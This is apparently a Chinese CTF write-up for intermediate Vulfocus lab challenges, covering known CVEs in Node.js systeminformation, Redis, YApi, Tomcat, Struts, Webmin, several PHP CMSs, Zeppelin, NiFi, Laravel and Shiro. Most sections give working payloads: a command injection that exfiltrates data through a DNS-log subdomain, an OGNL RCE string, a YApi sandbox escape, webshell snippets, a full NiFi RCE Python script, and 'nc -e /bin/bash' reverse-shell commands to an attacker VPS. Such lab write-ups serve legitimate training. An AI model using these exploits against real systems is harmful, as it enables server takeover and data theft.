Vulfocus靶场竞赛中级部分题解

xiannv  1074天前

作者:F4n、高诺琪、weske@rm -rf /*

中级

vulfocus/071

官方即有WP:vulfocus/CVE-2017-4971_Spring Web Flow 远程代码执行(CVE-2017-4971)

vulfocus/070

漏洞概述

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块,它包含多种轻量级功能,可以检索详细的硬件和系统相关信息。2021年02月24日,npm团队发布安全公告,Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315,攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令,最终获取服务器最高权限。

解题思路

通过Wappalyzer浏览器插件发现该页面使用了nodejs,于是乎试了Node.js命令注入漏洞(CVE-2021-21315)

image-20220111202641737.png

打开dns平台,获取一个子域名

image-20220111202926841.png

之后插入poc

http://106.75.119.109:32470/api/getServices?name[]=$(ping%20`ls%20/tmp`.f01e33dd.dns.1433.eu.org.)

image-20220111202950526.png

dns平台成功获取到flag

image-20220111203030340.png

vulfocus/027

漏洞概述

Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。

Redis post-exploitation

解题思路

看到靶场开启的端口是 6379 ,大致可以判断这应该是一个 redis 的漏洞(cnvd_2019_21763)

exploit for Redis 4.x/5.x RCE:Ridter/redis-rce: Redis 4.x/5.x RCE (github.com)

上面的这个项目中缺少了个外部拓展的 .so 的文件,需要在这个项目中下载 exp.so 模块放进去

n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

python3 redis-rce.py -r 靶场地址 -p 靶场端口 -L vps地址 -P vps端口 -f exp.so

image-20220111155052190.png

vulfocus/017

漏洞概述

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

解题思路

访问3000端口后,可以看到是YAPI的平台,可以想到应该是yapi的远程代码执行的漏洞

注册用户->添加项目->创建项目->添加接口->提交->高级mock->选择脚本,然后开启

clip_image002.jpg

const sandbox = this

const objectConstructor = this.constructor

const FunctionConstructor = objectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("ls /tmp").toString()

保存之后->预览->点击mock地址

clip_image004.jpg

vulfocus/021

漏洞概述

Apache Tomcat 漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xm l)中的readonly设置为了false,导致可以使用PUT方法上传任意文件

解题思路

访问 8080 端口后,是tomcat的默认页面,但是没有开启 8009 端口,猜测应该不是幽灵猫,再尝试了另外几种之后发现了是Tomcat 任意写入文件漏洞(CVE-2017-12615)

clip_image002-16418896567561.jpg

Apache Tomcat/8.5.19

clip_image004-16418896567572.jpg

Put任意写文件漏洞,写jsp马上去

clip_image006-16418896567573.jpg

vulfocus/022

漏洞概述

CVE-2019-0230漏洞是一个object-Graph Navigation Language (OGNL)强制两次评估的漏洞,当Struts尝试对tag属相中的原始用户输入进行评估时会触发该漏洞。攻击者可以通过注入恶意OGNL表达式到OGNL表达式中使用的属性中来利用该漏洞。攻击者利用该漏洞可以实现远程代码执行。

解题思路

访问页面之后出现的是S2-059 Demo,直接掏poc打

github找poc测试

https://github.com/ramoncjs3/CVE-2019-0230/blob/master/poc.txt

poc:

skillName=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20%2Ftmp').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

clip_image002-16418905863294.jpg

vulfocus/018

漏洞概述

Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即以执行任意系统命令。

解题思路

访问页面之后是webmin的页面,尝试了下root/root能直接登录进去,猜测是Webmin 远程命令执行漏洞(CVE-2019-15107)

在session_login.cgi的页面发个包修改一下就可以了

POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

clip_image002-16418911169945.jpg

vulfocus/030

漏洞概述

Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

解题思路

访问页面之后看到是苹果cms8.x,苹果cms8.x有个命令执行的漏洞,直接拿poc打

眉间雪之maccms8.x版RCE代码审计

Maccms8.x 远程命令执行漏洞分析)

poc

index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}

POST:a=phpinfo()

clip_image002-16418915620126.jpg

vulfocus/026

漏洞概述

海洋CMS一套程序自适应电脑、手机、平板、APP多个终端入口。 SeaCMS v10.1存在命令执行漏洞,在w1aqhp/admin_ip.php下第五行使用set参数,对用户输入没有进行任何处理,直接写入文件。攻击者可利用该漏洞执行恶意代码,获取服务器权限。(CNVD-2020-22721)

解题思路

可以在页面中找到海洋cms页面的关键字,访问/manager/login.php使用admin/admin能直接登入后台

访问/manager/login.php使用admin/admin登入后台

image-20220111180000080.png

访问后台IP安全设置网页, burp进行抓包,后面拼接一句话命名

image-20220111180455676.png

访问后台IP安全设置页面,连接一句话执行命令获得flag

http://106.75.119.109:26813/manager/admin_ip.php

POST:pwd=system('ls /tmp');

image-20220111181337562.png

vulfocus/032

漏洞概述

JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。

解题思路

访问页面之后看到是JunAMS,尝试访问admin.php,使用admin/admin进入了后台,JunAMS有个文件上传漏洞,直接拿poc打

junams 文件上传 (CNVD-2020-24741)复现

用admin/admin进到后台admin.php 本地建一个html内容如下

<form enctype="multipart/form-data" action="http://106.75.119.109:45984/admin.php/common/add_images.html" method="post">  
<input type="file" name="file" size="50"><br>  
<input type="submit" value="Upload">  
</form>

image-20220111170948214.pngimage-20220111170952389.png

vulfocus/020

漏洞概述

Typesetter CMS 内容管理系统是Php源码频道下深受用户喜爱的软件。 Typesetter CMS 存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。cve_2020_25790

解题思路

访问页面之后看到是Typesetter,使用admin/admin登入后台后,判断是个文件上传漏洞

admin/admin 进到后台之后,点击已上传的档案->上传1.zip,然后解压1.php(一句话)

clip_image002-16418925113997.jpg

点击一句话获得url,之后一句话拿flag

clip_image004-16418925113998.jpg

vulfocus/040

漏洞概述

Apache Zeppelin是一款基于Web的NoteBook,支持交互式数据分析。使用Zeppelin,可以使用丰富的预构建语言后端(或解释器)制作精美的数据驱动,交互式和协作文档 Apache Zeppelin 存在未授权的用户访问命令执行接口,导致了任意用户都可以执行恶意命令获取服务器权限。cnvd_2019_33156

解题思路

访问页面之后看到Welcome to Zeppelin!,点击Create new note后可以创建脚本,判断是Zeppelin未授权访问

点击Create new note 创建一个sh的脚本

clip_image002-16418927655029.jpg

在标题处输入ls /tmp后点击执行

clip_image004-164189276550310.jpg

vulfocus/041

漏洞概述

Apache NiFi 是一个易于使用、功能强大而且可靠的数据处理和分发系统。Apache NiFi 是为数据流设计。它支持高度可配置的指示图的数据路由、转换和系统中介逻辑

解题思路

看到nifi的页面,猜测是apache 的 nifi ,百度了下有个 Apache NiFi API远程执行代码漏洞的漏洞

访问页面看到了是个NiFi

image-20220111183021729.png

gayhub找了个poc直接打

imjdl/Apache-NiFi-Api-RCE (github.com)

poc:

import sys
import json
import requests as req


class Exp:
   def __init__(self, url):
       self.url = url

   def check_is_vul(self):
       url = self.url + "/nifi-api/access/config"
       try:
           res = req.get(url=url, verify=False)
           data = res.json()
           return not data["config"]["supportsLogin"]
       except Exception as e:
           pass
       return False

   def clean_up(self, p_id):
       url = self.url + "/nifi-api/processors/" + p_id
       data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}
       req.put(url=url + "/run-status", data=json.dumps(data), verify=False)
       req.delete(url + "/threads", verify=False)

   def exploit(self, cmd):
       g_id = self.fetch_process_group()
       if g_id:
           p_id = self.create_process(g_id)
           if p_id:
               self.run_cmd(p_id=p_id, cmd=cmd)
               self.clean_up(p_id=p_id)

   def run_cmd(self, p_id, cmd):
       url = self.url + "/nifi-api/processors/" + p_id
       cmd = cmd.split(" ")
       data = {
           'component': {
               'config': {
                   'autoTerminatedRelationships': ['success'],
                   'properties': {
                       'Command': cmd[0],
                       'Command Arguments': " ".join(cmd[1:]),
                  },
                   'schedulingPeriod': '3600 sec'
              },
               'id': p_id,
               'state': 'RUNNING'
          },
           'revision': {'clientId': 'x', 'version': 1}
      }
       print(data)
       headers = {
           "Content-Type": "application/json",
      }
       res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)
       return res.json()

   def fetch_process_group(self):
       url = self.url + "/nifi-api/process-groups/root"
       try:
           res = req.get(url=url, verify=False)
           data = res.json()["id"]
           return data
       except Exception as e:
           pass
       return 0

   def create_process(self, process_group_id):
       url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"
       data = {
           'component': {
               'type': 'org.apache.nifi.processors.standard.ExecuteProcess'
          },
           'revision': {
               'version': 0
          }
      }
       headers = {
           "Content-Type": "application/json",
      }
       try:
           res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)
           return res.json()["id"]
       except Exception as e:
           pass
       return 0


if __name__ == '__main__':
   if len(sys.argv) != 3:
       print("rce.py url cmd")
   else:
       url = sys.argv[1]  # http://106.75.119.109:36958
       cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234
       e = Exp(url)
       e.exploit(cmd)

vps上监听

nc -lv 21000

执行脚本

python Apache-NiFi-Api-RCE.py http://106.75.119.109:36958 "nc -e /bin/bash vps vps端口"

image-20220111185400585.png

vulfocus/019

解题思路

同vulfocus/018和vulfocus/045一样

在session_login.cgi的页面发个包修改一下就可以了

POST /password_change.cgi HTTP/1.1

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2

image-20220113181403830.png

vulfocus/031

漏洞概述

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

解题思路

访问页面之后看到是Laravel的界面,尝试了cve-2017-16894和cve-2021-3129后,发现是cve-2021-3129远程代码执行

Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区

详细的exp使用教程:SNCKER/CVE-2021-3129: Laravel debug rce

git clone https://github.com/ambionics/phpggc.git(放在上边CVE的目录下)

exploit.py脚本的mian处修改地址和要执行的命令


def main():
   Exp("http://106.75.119.109:30089", "ls /tmp")

image-20220111173128739.png

vulfocus/025

漏洞概述

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。 Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

解题思路

开启靶场点击 login 后,看到页面有个非常显眼的 Remember Me ,直接掏出 shiro 的工具一把梭了

点击login后到这个页面

clip_image002-164189410600812.jpg

Shiro框架利用

j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)

SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题

clip_image004-164189410600711.jpg

最新评论

昵称
邮箱
提交评论